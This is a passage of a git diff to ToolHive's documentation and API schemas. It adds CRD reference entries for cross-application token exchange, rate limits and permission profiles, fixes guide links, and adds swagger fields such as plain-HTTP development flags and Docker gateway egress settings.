Note: when using access_type=offline, also set explicit scopes to avoid
the default offline_access scope being sent alongside it.
Framework-managed parameters (response_type, client_id, redirect_uri,
scope, state, code_challenge, code_challenge_method, nonce) are not allowed. | | MaxProperties: 16
Optional: \{\}
| | `subjectClaim` _string_ | SubjectClaim names the validated ID-token claim to use as the upstream
subject. Defaults to "sub" when empty. Set it for IdPs where "sub" isn't
stable per user — e.g. Entra/Azure AD, whose "sub" rotates per application
and whose stable identifier is "oid".
The value is looked up verbatim as a top-level claim name, so it is
constrained to a claim-name shape: it must start with a letter or
underscore and contain only letters, digits, and underscores. This rejects
dotted, colon-namespaced, or whitespace-containing values at admission
rather than letting a typo silently miss the claim at login, and keeps the
field aligned with the directory service's per-issuer bindingClaim.
Changing this on a live deployment re-keys existing users (the value
resolves to the internal user ID), so treat it as immutable once users
exist.
Per-IdP notes:
- Entra/Azure AD: use "oid"; it is only emitted when the upstream scopes
include "profile". "oid" is unique within a single tenant — multi-tenant
apps need oid+tid, which this single-claim field cannot express.
- Okta: the org auth server already puts the stable id in "sub" (default
works). A custom auth server's "sub" is the mutable login/email and the
stable "uid" lives only in the access token, not the ID token — map a
custom ID-token claim and point subjectClaim at it.
The pattern matches the claim-name shape and allows empty (defaults to
"sub"). Using Pattern rather than a CEL XValidation rule keeps this off the
CRD's CEL cost budget — a single-field format check via CEL is rejected by
the apiserver as too expensive once multiplied across the upstreams list. | | MaxLength: 128
Pattern: `^([a-zA-Z_][a-zA-Z0-9_]*)?$`
Optional: \{\}
| @@ -3156,6 +3753,21 @@ _Appears in:_ | `key` _string_ | Key is the key in the ConfigMap that contains the permission profile
Only used when Type is "configmap" | | Optional: \{\}
| +#### api.v1beta1.PermissionProfileSpec + + + +PermissionProfileSpec defines the permissions for an MCP server + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `read` _string array_ | Read is a list of paths that the MCP server can read from | | Optional: \{\}
| +| `write` _string array_ | Write is a list of paths that the MCP server can write to | | Optional: \{\}
| +| `network` _[api.v1beta1.NetworkPermissions](#apiv1beta1networkpermissions)_ | Network defines the network permissions for the MCP server | | Optional: \{\}
| #### api.v1beta1.PrometheusConfig @@ -3194,6 +3806,27 @@ _Appears in:_ | `imagePullSecrets` _[LocalObjectReference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#localobjectreference-v1-core) array_ | ImagePullSecrets allows specifying image pull secrets for the proxy runner
These are applied to both the Deployment and the ServiceAccount | | Optional: \{\}
| +#### api.v1beta1.RateLimitBucket + + + +RateLimitBucket defines a token bucket configuration with a maximum capacity +and a refill period. Used by both shared and per-user rate limits. + + + + + + + +#### api.v1beta1.RateLimitConfig + + + +RateLimitConfig defines rate limiting configuration for an MCP server. + + + @@ -3401,6 +4034,7 @@ _Appears in:_ - [api.v1beta1.TokenExchangeConfig](#apiv1beta1tokenexchangeconfig) - [api.v1beta1.WebhookSpec](#apiv1beta1webhookspec) - [api.v1beta1.WebhookTLSConfig](#apiv1beta1webhooktlsconfig) +- [api.v1beta1.XAASpec](#apiv1beta1xaaspec) | Field | Description | Default | Validation | | --- | --- | --- | --- | @@ -3447,7 +4081,7 @@ _Appears in:_ #### api.v1beta1.SentinelServiceRef -_Underlying type:_ _[api.v1beta1.struct{Name string "json:\"name\""; Namespace string "json:\"namespace,omitempty\""; Port int32 "json:\"port,omitempty\""}](#apiv1beta1struct{name string "json:\"name\""; namespace string "json:\"namespace,omitempty\""; port int32 "json:\"port,omitempty\""})_ +_Underlying type:_ _struct{Name string "json:\"name\""; Namespace string "json:\"namespace,omitempty\""; Port int32 "json:\"port,omitempty\""}_ SentinelServiceRef references a Kubernetes Service for Sentinel discovery. @@ -3614,6 +4248,16 @@ _Appears in:_ | `annotations` _[api.v1beta1.ToolAnnotationsOverride](#apiv1beta1toolannotationsoverride)_ | Annotations overrides specific tool annotation fields.
Only specified fields are overridden; others pass through from the backend. | | Optional: \{\}
| +#### api.v1beta1.ToolRateLimitConfig + + + +ToolRateLimitConfig defines rate limits for a specific tool. + + + + + #### api.v1beta1.UpstreamInjectSpec @@ -3621,7 +4265,7 @@ _Appears in:_ UpstreamInjectSpec holds configuration for upstream token injection. -This strategy injects an upstream IDP access token obtained by the embedded +This strategy injects an upstream IdP access token obtained by the embedded authorization server into backend requests as the Authorization: Bearer header. @@ -3631,7 +4275,7 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `providerName` _string_ | ProviderName is the name of the upstream IDP provider whose access token
should be injected as the Authorization: Bearer header. | | MinLength: 1
Required: \{\}
| +| `providerName` _string_ | ProviderName is the name of the upstream IdP provider whose access token
should be injected as the Authorization: Bearer header. | | MinLength: 1
Required: \{\}
| #### api.v1beta1.UpstreamProviderConfig @@ -3707,7 +4351,7 @@ _Appears in:_ #### api.v1beta1.UserInfoFieldMapping -_Underlying type:_ _[api.v1beta1.struct{SubjectFields []string "json:\"subjectFields,omitempty\""; NameFields []string "json:\"nameFields,omitempty\""; EmailFields []string "json:\"emailFields,omitempty\""}](#apiv1beta1struct{subjectfields []string "json:\"subjectfields,omitempty\""; namefields []string "json:\"namefields,omitempty\""; emailfields []string "json:\"emailfields,omitempty\""})_ +_Underlying type:_ _struct{SubjectFields []string "json:\"subjectFields,omitempty\""; NameFields []string "json:\"nameFields,omitempty\""; EmailFields []string "json:\"emailFields,omitempty\""}_ UserInfoFieldMapping maps provider-specific field names to standard UserInfo fields. This allows adapting non-standard provider responses to the canonical UserInfo structure. @@ -3808,7 +4452,7 @@ _Appears in:_ | --- | --- | --- | --- | | `name` _string_ | Name is the workflow name (unique identifier). | | | | `description` _string_ | Description describes what the workflow does. | | | -| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Optional: \{\}
| +| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Type: object
Optional: \{\}
| | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum workflow execution time. | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
| | `steps` _[vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) array_ | Steps are the workflow steps to execute. | | | | `output` _[vmcp.config.OutputConfig](#vmcpconfigoutputconfig)_ | Output defines the structured output schema for this workflow.
If not specified, the workflow returns the last step's output (backward compatible). | | Optional: \{\}
| @@ -4066,5 +4710,144 @@ _Appears in:_ | --- | --- | --- | --- | | `kind` _string_ | Kind is the type of workload resource | | Enum: [MCPServer VirtualMCPServer MCPRemoteProxy]
Required: \{\}
| | `name` _string_ | Name is the name of the workload resource | | MinLength: 1
Required: \{\}
| + + +#### api.v1beta1.XAASpec + + + +XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. +XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a +two-step token exchange to obtain access tokens for target services: + - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + + + +_Appears in:_ +- [api.v1beta1.MCPExternalAuthConfigSpec](#apiv1beta1mcpexternalauthconfigspec) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693).
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| +| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for IdP exchange. | | Optional: \{\}
| +| `idpClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | IDPClientSecretRef references a Kubernetes Secret containing the IdP client secret. | | Optional: \{\}
| +| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for target grant (RFC 7523). | | Required: \{\}
| +| `insecureTargetTokenUrl` _boolean_ | InsecureTargetTokenURL allows plain HTTP for TargetTokenURL.
WARNING: this is insecure and must only be set for in-cluster or
development/testing endpoints — never in production. | | Optional: \{\}
| +| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for target grant.
ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most
conformant target authorization servers will reject an unauthenticated
JWT-bearer grant per the §4.4.1 client_id continuity requirement. | | Optional: \{\}
| +| `targetClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | TargetClientSecretRef references a Kubernetes Secret for the target AS client secret. | | Optional: \{\}
| +| `targetAudience` _string_ | TargetAudience is the resource AS URL for the ID-JAG audience claim. | | Required: \{\}
| +| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL.
Some authorization servers (e.g. Okta's early ID-JAG implementation) require
this parameter in practice despite the draft marking it optional — set it
when your IdP needs it. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the requested scopes for the XAA exchange (IdP exchange and target grant). | | Optional: \{\}
| +| `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
When left empty and an embedded authorization server is configured,
the controller automatically populates this field with the first configured
upstream provider name. | | Optional: \{\}
| +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token"
when empty. | | Enum: [urn:ietf:params:oauth:token-type:id_token]
Optional: \{\}
| + + + +## toolhive.stacklok.dev/vmcp + + + + + + + + + + + + + + + + + + +#### pkg.vmcp.ConflictResolutionStrategy + +_Underlying type:_ _string_ + +ConflictResolutionStrategy defines how to handle capability name conflicts. +Placed in vmcp root package to be shared by config and aggregator packages. + + + +_Appears in:_ +- [vmcp.config.AggregationConfig](#vmcpconfigaggregationconfig) + +| Field | Description | +| --- | --- | +| `prefix` | ConflictStrategyPrefix prefixes all tools with workload identifier.
| +| `priority` | ConflictStrategyPriority uses explicit priority ordering (first wins).
| +| `manual` | ConflictStrategyManual requires explicit overrides for all conflicts.
| + + + + + + + + +#### pkg.vmcp.DiscoveredBackend + + + +DiscoveredBackend represents a backend server discovered by vMCP runtime. +This type is shared with the Kubernetes operator CRD (VirtualMCPServer.Status.DiscoveredBackends). + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `name` _string_ | Name is the name of the backend MCPServer | | | +| `url` _string_ | URL is the URL of the backend MCPServer | | Optional: \{\}
| +| `status` _string_ | Status is the current status of the backend (ready, degraded, unavailable, unauthenticated, unknown).
Use BackendHealthStatus.ToCRDStatus() to populate this field. | | Optional: \{\}
| +| `authConfigRef` _string_ | AuthConfigRef is the name of the discovered MCPExternalAuthConfig (if any) | | Optional: \{\}
| +| `authType` _string_ | AuthType is the type of authentication configured | | Optional: \{\}
| +| `lastHealthCheck` _[Time](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#time-v1-meta)_ | LastHealthCheck is the timestamp of the last health check | | Optional: \{\}
| +| `message` _string_ | Message provides additional information about the backend status | | Optional: \{\}
| +| `circuitBreakerState` _string_ | CircuitBreakerState is the current circuit breaker state (closed, open, half-open).
Empty when circuit breaker is disabled or not configured. | | Enum: [closed open half-open]
Optional: \{\}
| +| `circuitLastChanged` _[Time](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#time-v1-meta)_ | CircuitLastChanged is the timestamp when the circuit breaker state last changed.
Empty when circuit breaker is disabled or has never changed state. | | Optional: \{\}
| +| `consecutiveFailures` _integer_ | ConsecutiveFailures is the current count of consecutive health check failures.
Resets to 0 when the backend becomes healthy again. | | Optional: \{\}
| + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/operator/templates/markdown/type.tpl b/docs/operator/templates/markdown/type.tpl index 3428b854a1..883c3a8ec6 100644 --- a/docs/operator/templates/markdown/type.tpl +++ b/docs/operator/templates/markdown/type.tpl @@ -41,11 +41,13 @@ {{- define "type" -}} {{- $type := . -}} -{{- if markdownShouldRenderType $type -}} {{- /* Filter: only render types with +gendoc marker OR in api/v1beta1 package */ -}} {{- $hasGendoc := index $type.Markers "gendoc" -}} {{- $isAPIType := hasSuffix "/api/v1beta1" $type.Package -}} - {{- if or $hasGendoc $isAPIType -}} + {{- /* Render if: explicitly +gendoc marked, OR (in api/v1beta1 AND should render), */ -}} + {{- /* OR a real K8s resource (has GVK) — so deprecated v1alpha1 resources listed */ -}} + {{- /* in "Resource Types" get headings their links resolve to. */ -}} + {{- if or $hasGendoc (and $isAPIType (markdownShouldRenderType $type)) $type.GVK -}} {{- /* Extract last two path segments from package for disambiguation */ -}} {{- $pkgParts := splitList "/" $type.Package -}} {{- $pkgLen := len $pkgParts -}} @@ -58,7 +60,7 @@ #### {{ $prefix }}.{{ $type.Name }} -{{ if $type.IsAlias }}_Underlying type:_ _{{ template "fieldType" $type.UnderlyingType }}_{{ end }} +{{ if $type.IsAlias }}_Underlying type:_ _{{ $type.UnderlyingType.Name }}_{{ end }} {{ $type.Doc }} @@ -117,6 +119,5 @@ _Appears in:_ {{ end -}} -{{- end -}}{{- /* end if or $hasGendoc $isAPIType */ -}} -{{- end -}} +{{- end -}}{{- /* end if or $hasGendoc (and $isAPIType ...) */ -}} {{- end -}} diff --git a/docs/operator/virtualmcpcompositetooldefinition-guide.md b/docs/operator/virtualmcpcompositetooldefinition-guide.md index 4c5e27cde8..14e47a4823 100644 --- a/docs/operator/virtualmcpcompositetooldefinition-guide.md +++ b/docs/operator/virtualmcpcompositetooldefinition-guide.md @@ -889,10 +889,10 @@ The following Phase 2 features are planned for future releases: ## API Reference -For complete API reference including all fields and validation rules, see the [CRD API documentation](./crd-api.md#virtualmcpcompositetooldefinition). +For complete API reference including all fields and validation rules, see the [CRD API documentation](./crd-api.md#apiv1beta1virtualmcpcompositetooldefinition). ## Related Resources -- [VirtualMCPServer Guide](./virtualmcpserver-guide.md) -- [Composite Tools Proposal](../proposals/THV-2106-virtual-mcp-server.md) -- [Operator Installation Guide](./installation.md) +- [VirtualMCPServer Kubernetes Guide](./virtualmcpserver-kubernetes-guide.md) +- [Composite Tools Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md) +- [Operator Upgrade Guide](./upgrade-guide/README.md) diff --git a/docs/operator/virtualmcpserver-api.md b/docs/operator/virtualmcpserver-api.md index 88dd752016..b9444cb9da 100644 --- a/docs/operator/virtualmcpserver-api.md +++ b/docs/operator/virtualmcpserver-api.md @@ -653,10 +653,10 @@ The VirtualMCPServer CRD includes comprehensive validation: ## Related Resources -- [MCPGroup](./mcpgroup-api.md): Defines groups of MCPServers -- [MCPServer](./mcpserver-api.md): Individual MCP server instances +- [MCPGroup](./crd-api.md#apiv1beta1mcpgroup): Defines groups of MCPServers +- [MCPServer](./crd-api.md#apiv1beta1mcpserver): Individual MCP server instances - [MCPOIDCConfig](../../examples/operator/mcp-servers/mcpserver_with_oidcconfig_ref.yaml): Shared OIDC provider configuration (referenced via `oidcConfigRef`) -- [MCPExternalAuthConfig](./mcpexternalauthconfig-api.md): External authentication configuration -- [MCPToolConfig](./toolconfig-api.md): Tool filtering and renaming configuration +- [MCPExternalAuthConfig](./crd-api.md#apiv1beta1mcpexternalauthconfig): External authentication configuration +- [MCPToolConfig](./crd-api.md#apiv1beta1mcptoolconfig): Tool filtering and renaming configuration - [Virtual MCP Server Observability](./virtualmcpserver-observability.md): Telemetry and metrics documentation -- [Virtual MCP Proposal](../proposals/THV-2106-virtual-mcp-server.md): Complete design proposal +- [Virtual MCP Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md): Complete design proposal diff --git a/docs/operator/virtualmcpserver-kubernetes-guide.md b/docs/operator/virtualmcpserver-kubernetes-guide.md index e8943fd44f..0f43265c42 100644 --- a/docs/operator/virtualmcpserver-kubernetes-guide.md +++ b/docs/operator/virtualmcpserver-kubernetes-guide.md @@ -341,8 +341,8 @@ The preferred approach is to create a shared `MCPOIDCConfig` resource and refere See example configurations: - [mcpserver_with_oidcconfig_ref.yaml](../../examples/operator/mcp-servers/mcpserver_with_oidcconfig_ref.yaml) — Shared MCPOIDCConfig (preferred) -- [mcpserver_with_inline_oidc.yaml](../../examples/operator/mcp-servers/mcpserver_with_inline_oidc.yaml) — Inline OIDC (deprecated) -- [mcpserver_with_kubernetes_oidc.yaml](../../examples/operator/mcp-servers/mcpserver_with_kubernetes_oidc.yaml) — Kubernetes SA OIDC (deprecated inline variant) + +Inline OIDC and Kubernetes SA OIDC variants were deprecated and removed; use `MCPOIDCConfig` references instead. #### Scenario 3: Grouped Servers (CLI) → VirtualMCPServer (K8s) diff --git a/docs/remote-mcp-authentication.md b/docs/remote-mcp-authentication.md index f67a43f034..f044b81701 100644 --- a/docs/remote-mcp-authentication.md +++ b/docs/remote-mcp-authentication.md @@ -61,7 +61,7 @@ ToolHive implements BOTH discovery mechanisms required by the MCP specification: ## Authentication Flow ### Initial Detection -When ToolHive connects to a remote MCP server ([`pkg/runner/remote_auth.go:27-87`](../pkg/runner/remote_auth.go#L27)): +When ToolHive connects to a remote MCP server ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)): 1. Makes test request to the remote server (GET, then optionally POST) 2. Checks for 401 Unauthorized response with WWW-Authenticate header @@ -71,7 +71,7 @@ When ToolHive connects to a remote MCP server ([`pkg/runner/remote_auth.go:27-87 - Falls back to `{baseURL}/.well-known/oauth-protected-resource` (root-level) ### Discovery Priority Chain -ToolHive follows this priority order for discovering the OAuth issuer ([`pkg/runner/remote_auth.go:95-145`](../pkg/runner/remote_auth.go#L95)): +ToolHive follows this priority order for discovering the OAuth issuer ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)): **Phase 1: WWW-Authenticate Header Detection** 1. **Configured Issuer**: Uses `--remote-auth-issuer` flag if provided (highest priority) @@ -388,7 +388,7 @@ The `oauth_config` section supports: ### Key Components -1. **RemoteAuthHandler** ([`pkg/runner/remote_auth.go`](../pkg/runner/remote_auth.go)) +1. **RemoteAuthHandler** ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)) - Main entry point for remote authentication - Coordinates discovery and OAuth flow diff --git a/docs/runtime-version-customization.md b/docs/runtime-version-customization.md index 5fabc6683a..9ec8c1c236 100644 --- a/docs/runtime-version-customization.md +++ b/docs/runtime-version-customization.md @@ -194,4 +194,4 @@ thv run go://github.com/example/server \ ## See Also - [RunConfig Documentation](arch/05-runconfig-and-permissions.md) - Complete RunConfig reference -- [Protocol Schemes](../README.md#protocol-schemes) - Overview of uvx://, npx://, and go:// schemes +- [Protocol Schemes](arch/00-overview.md#protocol-builds) - Overview of uvx://, npx://, and go:// schemes diff --git a/docs/server/docs.go b/docs/server/docs.go index 04427d7f4f..21808b4888 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -455,6 +455,10 @@ const docTemplate = `{ "identity_from_token": { "$ref": "#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs\nfor this upstream. Only for in-cluster development environments (e.g. an\nOAuth2 provider served over HTTP in a kind cluster) where TLS is not\navailable. Never set this in production.", + "type": "boolean" + }, "redirect_uri": { "description": "RedirectURI is the callback URL where the upstream IDP will redirect after authentication.\nWhen not specified, defaults to ` + "`" + `{issuer}/oauth/callback` + "`" + `.", "type": "string" @@ -506,6 +510,10 @@ const docTemplate = `{ "description": "ClientSecretFile is the path to a file containing the OAuth 2.0 client secret.\nMutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE.", "type": "string" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery\nendpoints for this upstream. Only for in-cluster development environments\n(e.g. Dex served over HTTP in a kind cluster) where TLS is not available.\nNever set this in production.", + "type": "boolean" + }, "issuer_url": { "description": "IssuerURL is the OIDC issuer URL for automatic endpoint discovery.\nMust be a valid HTTPS URL.", "type": "string" @@ -891,10 +899,6 @@ const docTemplate = `{ "windsurf", "windsurf-jetbrains", "amp-cli", - "amp-vscode", - "amp-cursor", - "amp-vscode-insider", - "amp-windsurf", "lm-studio", "goose", "trae", @@ -922,10 +926,6 @@ const docTemplate = `{ "Windsurf", "WindsurfJetBrains", "AmpCli", - "AmpVSCode", - "AmpCursor", - "AmpVSCodeInsider", - "AmpWindsurf", "LMStudio", "Goose", "Trae", @@ -956,6 +956,10 @@ const docTemplate = `{ "description": "Registered indicates whether the client is registered in the ToolHive configuration", "type": "boolean" }, + "supports_plugins": { + "description": "SupportsPlugins indicates whether ToolHive can install plugins for this client", + "type": "boolean" + }, "supports_skills": { "description": "SupportsSkills indicates whether ToolHive can install skills for this client", "type": "boolean" @@ -1044,6 +1048,13 @@ const docTemplate = `{ "builder_image": { "description": "BuilderImage is the full image reference for the builder stage.\nAn empty string signals \"use the default for this transport type\" during config merging.\nExamples: \"golang:1.26-alpine\", \"node:24-alpine\", \"python:3.14-slim\"", "type": "string" + }, + "runtime_env": { + "additionalProperties": { + "type": "string" + }, + "description": "RuntimeEnv contains environment variables to inject into the Dockerfile's\nfinal runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv),\nwhich only affects the builder stage, these variables are baked into the\nshipped image and are present in the running container's process\nenvironment at startup. Use this for values a packaged MCP server reads at\nprocess start (e.g. feature flags, cache backend selection), not for\nbuild-time package manager configuration.\nKeys must be uppercase with underscores, values are validated for safety.", + "type": "object" } }, "type": "object" @@ -1119,6 +1130,13 @@ const docTemplate = `{ "name": { "type": "string" }, + "plugins": { + "items": { + "type": "string" + }, + "type": "array", + "uniqueItems": false + }, "registered_clients": { "items": { "type": "string" @@ -1273,7 +1291,7 @@ const docTemplate = `{ "uniqueItems": false }, "allow_docker_gateway": { - "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.", + "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.\nGateway access is port-independent: it ignores the permission profile's\nallowed ports, so once enabled the gateway is reachable on any port.", "type": "boolean" }, "allowed_origins": { @@ -2349,13 +2367,13 @@ const docTemplate = `{ "uniqueItems": false }, "registryBaseUrl": { - "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget; not used by oci, mcpb)", + "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget, cargo; not used by oci, mcpb)", "example": "https://registry.npmjs.org", "format": "uri", "type": "string" }, "registryType": { - "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"oci\", \"nuget\", \"mcpb\")", + "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"cargo\", \"oci\", \"nuget\", \"mcpb\")", "example": "npm", "minLength": 1, "type": "string" @@ -2732,6 +2750,10 @@ const docTemplate = `{ "pkg_api_v1.createRequest": { "description": "Request to create a new workload", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" @@ -3418,6 +3440,10 @@ const docTemplate = `{ "pkg_api_v1.updateRequest": { "description": "Request to update an existing workload (name cannot be changed)", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index 4eeaaa50df..cc3cfa8f59 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -448,6 +448,10 @@ "identity_from_token": { "$ref": "#/components/schemas/github_com_stacklok_toolhive_pkg_authserver.IdentityFromTokenRunConfig" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs\nfor this upstream. Only for in-cluster development environments (e.g. an\nOAuth2 provider served over HTTP in a kind cluster) where TLS is not\navailable. Never set this in production.", + "type": "boolean" + }, "redirect_uri": { "description": "RedirectURI is the callback URL where the upstream IDP will redirect after authentication.\nWhen not specified, defaults to `{issuer}/oauth/callback`.", "type": "string" @@ -499,6 +503,10 @@ "description": "ClientSecretFile is the path to a file containing the OAuth 2.0 client secret.\nMutually exclusive with ClientSecretEnvVar. Optional for public clients using PKCE.", "type": "string" }, + "insecure_allow_http": { + "description": "InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery\nendpoints for this upstream. Only for in-cluster development environments\n(e.g. Dex served over HTTP in a kind cluster) where TLS is not available.\nNever set this in production.", + "type": "boolean" + }, "issuer_url": { "description": "IssuerURL is the OIDC issuer URL for automatic endpoint discovery.\nMust be a valid HTTPS URL.", "type": "string" @@ -884,10 +892,6 @@ "windsurf", "windsurf-jetbrains", "amp-cli", - "amp-vscode", - "amp-cursor", - "amp-vscode-insider", - "amp-windsurf", "lm-studio", "goose", "trae", @@ -915,10 +919,6 @@ "Windsurf", "WindsurfJetBrains", "AmpCli", - "AmpVSCode", - "AmpCursor", - "AmpVSCodeInsider", - "AmpWindsurf", "LMStudio", "Goose", "Trae", @@ -949,6 +949,10 @@ "description": "Registered indicates whether the client is registered in the ToolHive configuration", "type": "boolean" }, + "supports_plugins": { + "description": "SupportsPlugins indicates whether ToolHive can install plugins for this client", + "type": "boolean" + }, "supports_skills": { "description": "SupportsSkills indicates whether ToolHive can install skills for this client", "type": "boolean" @@ -1037,6 +1041,13 @@ "builder_image": { "description": "BuilderImage is the full image reference for the builder stage.\nAn empty string signals \"use the default for this transport type\" during config merging.\nExamples: \"golang:1.26-alpine\", \"node:24-alpine\", \"python:3.14-slim\"", "type": "string" + }, + "runtime_env": { + "additionalProperties": { + "type": "string" + }, + "description": "RuntimeEnv contains environment variables to inject into the Dockerfile's\nfinal runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv),\nwhich only affects the builder stage, these variables are baked into the\nshipped image and are present in the running container's process\nenvironment at startup. Use this for values a packaged MCP server reads at\nprocess start (e.g. feature flags, cache backend selection), not for\nbuild-time package manager configuration.\nKeys must be uppercase with underscores, values are validated for safety.", + "type": "object" } }, "type": "object" @@ -1112,6 +1123,13 @@ "name": { "type": "string" }, + "plugins": { + "items": { + "type": "string" + }, + "type": "array", + "uniqueItems": false + }, "registered_clients": { "items": { "type": "string" @@ -1266,7 +1284,7 @@ "uniqueItems": false }, "allow_docker_gateway": { - "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.", + "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.\nGateway access is port-independent: it ignores the permission profile's\nallowed ports, so once enabled the gateway is reachable on any port.", "type": "boolean" }, "allowed_origins": { @@ -2342,13 +2360,13 @@ "uniqueItems": false }, "registryBaseUrl": { - "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget; not used by oci, mcpb)", + "description": "RegistryBaseURL is the base URL of the package registry (used by npm, pypi, nuget, cargo; not used by oci, mcpb)", "example": "https://registry.npmjs.org", "format": "uri", "type": "string" }, "registryType": { - "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"oci\", \"nuget\", \"mcpb\")", + "description": "RegistryType indicates how to download packages (e.g., \"npm\", \"pypi\", \"cargo\", \"oci\", \"nuget\", \"mcpb\")", "example": "npm", "minLength": 1, "type": "string" @@ -2725,6 +2743,10 @@ "pkg_api_v1.createRequest": { "description": "Request to create a new workload", "properties": { + "allow_docker_gateway": { + "description": "Whether to permit outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when network isolation is on.\nOnly applicable to Docker deployments with network isolation enabled.", + "type": "boolean" + }, "authz_config": { "description": "Authorization configuration", "type": "string" @@ -3411,6 +3433,10 @@ 